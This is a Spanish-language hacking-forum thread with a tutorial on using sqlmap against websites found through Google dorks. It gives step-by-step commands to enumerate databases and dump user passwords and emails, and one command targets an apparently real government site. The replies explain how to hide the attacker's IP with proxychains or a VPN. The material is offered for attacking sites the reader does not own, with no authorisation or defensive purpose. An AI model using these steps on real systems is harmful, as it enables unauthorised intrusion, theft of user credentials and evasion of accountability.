Underc0de

[In]Seguridad Informática => Hacking => Mensaje iniciado por: Z3N en Mayo 14, 2014, 10:29:34 AM

Título: Inyección SQL vía "Sqlmap".
Publicado por: Z3N en Mayo 14, 2014, 10:29:34 AM
Hola, queridos usuarios de Underc0de, hoy les traigo mi primer tutorial.

Bueno, empecemos...

¿Que és sqlmap?

(http://4.bp.blogspot.com/-pKd2fIyhpKI/UTqGvaYg6pI/AAAAAAAAAHc/vjEkWcGDhHA/s400/sqlmap.png)

Sqlmap es una herramienta desarrollada en Python para realizar inyección de código sql automáticamente. Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones web. Una vez que se detecta una o más inyecciones SQL en el host de destino, el usuario puede elegir entre una variedad de opciones entre ellas, enumerar los usuarios, los hashes de contraseñas, los privilegios, las bases de datos , O todo el volcado de tablas / columnas específicas del DBMS , ejecutar su propio SQL SELECT, leer archivos específicos en el sistema de archivos y mucho más.
Su web: http://sqlmap.org/ (http://sqlmap.org/)
Descarga : https://github.com/sqlmapproject/sqlmap/tarball/master (https://github.com/sqlmapproject/sqlmap/tarball/master)
Yo voy a usarlo en BackTrack 5 r3, si tiene Windows tendrán que instalar Python ya que esta codeado en ese lenguaje.
http://www.python.org/getit/ (http://www.python.org/getit/)

Comandos básicos

-u url donde vamos a realizar la inyección,por ejemplo:"www.sitio.com/index.php?id=2"
-p Parámetro de la url que inyectaremos.
--dbs Muestra todas las base de datos de la web
-D Selecciona el nombre de la base de datos a la que harás la consulta
--tables Muestra las tablas de la base de datos seleccionada
-T Conexión a una tabla especifica
--columns Muestra las columnas de la tabla que seleccionamos
--dump Hace un volcado de datos de ficheros .csv de la tabla seleccionada, mostrara toda la informacon de las tablas
--dbms Con este parámetro podemos seleccionar el motor de base de datos que usa para hacer las pruebas de errores ejemplo:  SQL, MySQL, ORACLE,etc.
Ya que sabemos los comando basicos vamos a la practica.

Empecemos

1. Bien, una vez estemos en nuestro BackTrack 5 r33 abrimos nuestra terminal.
En la terminale escribimos esto:

Citarcd /pentest/database/sqlmap/

2. Después debemos buscar un objetivo al cual queremos "hackear".
Podemos utilizar una dork como está:

Citarallinurl: /news.php?id=
allinurl: /article.php?id=
allinurl: /noticia.php?id=

3. Una vez que tengamos nuestro objetivo comprobamos si hay algún fallo, lo comprobamos con una comilla al final: '

Ejemplo:

Citarhttp://www.sitioweb.com/news.php?id=543'

Sí sale un error es que hay un fallo de seguridad y significa que si o si podremos hacer una inyección sql.

4. Ahora en nuestra terminal escribimos:

Citar./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 --dbs

Y empezará a analizar...

5. Saldrán varias bases de datos ejemplo:

Citaravailable databases [2]:
  • information_schema
  • connectdb
Entonces elijemos la que creamos conveniente en esté caso: connectdb.

Una vez que hayamos elegido la db escribimos esto en nuestra terminal:

Citar./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 -D aquívaladb --tables

Y empezará a escanear las tablas...

6. Entonces cuando las haya escaneado saldrá algo así:

CitarDatabase: connectdb
[20 tables]
+-------------------+
| connect_cargos      |
| connect_ciudades    |
| connect_contacto    |
| connect_contenido   |
| connect_contratista |
| connect_documentos  |
| connect_ds          |
| connect_empleo      |
| connect_enlaces     |
| connect_errores     |
| connect_estados     |
| connect_extras      |
| connect_log         |
| connect_media       |
| connect_rextras     |
| connect_rsecciones  |
| connect_rtagcloud   |
| connect_secciones   |
| connect_tagcloud    |
| connect_usuarios    |
+-------------------+

7. Bien, ahora lo que haremos será escanear las columnas de la tabla usuarios ya que es la que nos interesa, para eso ponemos lo siguiente en nuestro terminal:

Citar./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 -D aquívaladb -T aquívalatabladeusuarios --columns

Y empezará a analizar...

8. Bien, una vez lo analize nos saldrá algo parecido a esto:

CitarDatabase: connectdb
Table: connect_usuarios
[9 columns]
+-----------------------+-----------------+
| Column                | Type            |
+-----------------------+-----------------+
| apellido_usuarios     | varchar(45)     |
| clave_usuarios        | varchar(40)     |
| email_usuarios        | varchar(255)    |
| id_usuarios           | int(2) unsigned |
| institucion_usuarios  | varchar(45)     |
| nombre_usuarios       | varchar(45)     |
| permisos_usuarios     | tinyint(4)      |
| telf_usuarios         | int(11)         |
| ultimoacceso_usuarios | datetime        |
+-----------------------+-----------------+

Bien, ahora si queremos todo el contenido de está columna lo que haremos será poner esto en la terminal:

Citar./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 -D aquívaladb -T aquívalatabladeusuarios --dump

Pero, en esté caso solo necesitamos saber la tabla de clave_usuarios, email_usuarios, id_usuarios y nombre_usuarios.

Por lo tanto ponemos en la terminal:

Citar./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 -D aquivaladb -T aquívalatabladeusuarios -C "clave_usuarios,email_usuarios,id_usuarios,nombre_usuarios" --dump

9. Bien, después de eso ya habremos obtenido los datos específicos de cada usuario.

Y por lo tanto saldrá algo así:

CitarDatabase: connectdb
Table: connect_usuarios
[3 entries]
+-------------------+----------------------------+-----------------+---------------+
| clave_usuarios | email_usuarios             | id_usuarios |                  nombre_usuarios |
+-------------------+----------------------------+-----------------+---------------+
| Olivo             | [email protected] |     1  |                           | ernesto       |
| Gimenez           | [email protected]        |   4 |                            | lugimenez    |
| Gonzalez Aviles   | [email protected]      | 11 |                                | gonzal    |
+-------------------+----------------------------+-----------------+---------------+

Bien, eso es todo, espero que les haya gustado...
Sí no lo han entendido les dejo un videotutorial que encontre en google para la ocasion, ya que yo ahora mismo no tengo tiempo para hacer ningún video tutorial..

http://www.youtube.com/watch?feature=player_embedded&v=WM1vWFWXvvY (http://www.youtube.com/watch?feature=player_embedded&v=WM1vWFWXvvY)

Saludos, Jeremy López.
Título: Re:Inyección SQL vía "Sqlmap".
Publicado por: debug32 en Mayo 25, 2014, 03:41:36 PM
¿ Como usamos proxys para hacer anónimo el ataque ? ;)
Título: Re:Inyección SQL vía "Sqlmap".
Publicado por: blackdrake en Mayo 25, 2014, 04:28:08 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
¿ Como usamos proxys para hacer anónimo el ataque ? ;)

Puedes usar proxychains, que es lo que yo uso y va muy bien.

Puedes leer esto para saber como se instala y configura: http://geekland.hol.es/encadenar-proxy-con-proxychains/

Una vez configurado podemos comprobar la ip así: proxychains curl http://ifconfig.me/ip

Una vez hayamos comprobado que nos cambia la IP solo bastaría ejecutar: proxychains ./sqlmap.py ....

Un saludo!

Blackdrake
Título: Re:Inyección SQL vía "Sqlmap".
Publicado por: DRAKONE en Julio 27, 2014, 07:53:30 PM
¿Podría servir el programa: "HotSpot Shield" Para realizar las inyecciones sin que obtengan tus datos y tal?
Título: Re:Inyección SQL vía "Sqlmap".
Publicado por: Stiuvert en Julio 28, 2014, 03:38:32 AM
Sí, podrías usar Hotspot porque es una VPN y ocultará tu dirección IP.


Saludos

Enviado desde mi Smartphone
Título: Re:Inyección SQL vía "Sqlmap".
Publicado por: DRAKONE en Julio 28, 2014, 07:58:36 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Sí, podrías usar Hotspot porque es una VPN y ocultará tu dirección IP.


Saludos

Enviado desde mi Smartphone
Título: Re:Inyección SQL vía SQLMAP
Publicado por: Stiuvert en Julio 29, 2014, 03:20:05 AM
Es una cadena de proxys lo que mencionas, Hotspot no tiene ese mismo funcionamiento, es una VPN.

Y deberías de usarlo en kali porque el proxy no pasa a través de las interfaces de Red, Virtualbox utiliza una interfaz de Red virtual con sus propias direcciones.


Saludos

Enviado desde mi Smartphone
Título: Re:Inyección SQL vía SQLMAP
Publicado por: DRAKONE en Julio 31, 2014, 02:00:51 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Es una cadena de proxys lo que mencionas, Hotspot no tiene ese mismo funcionamiento, es una VPN.

Y deberías de usarlo en kali porque el proxy no pasa a través de las interfaces de Red, Virtualbox utiliza una interfaz de Red virtual con sus propias direcciones.


Saludos

Enviado desde mi Smartphone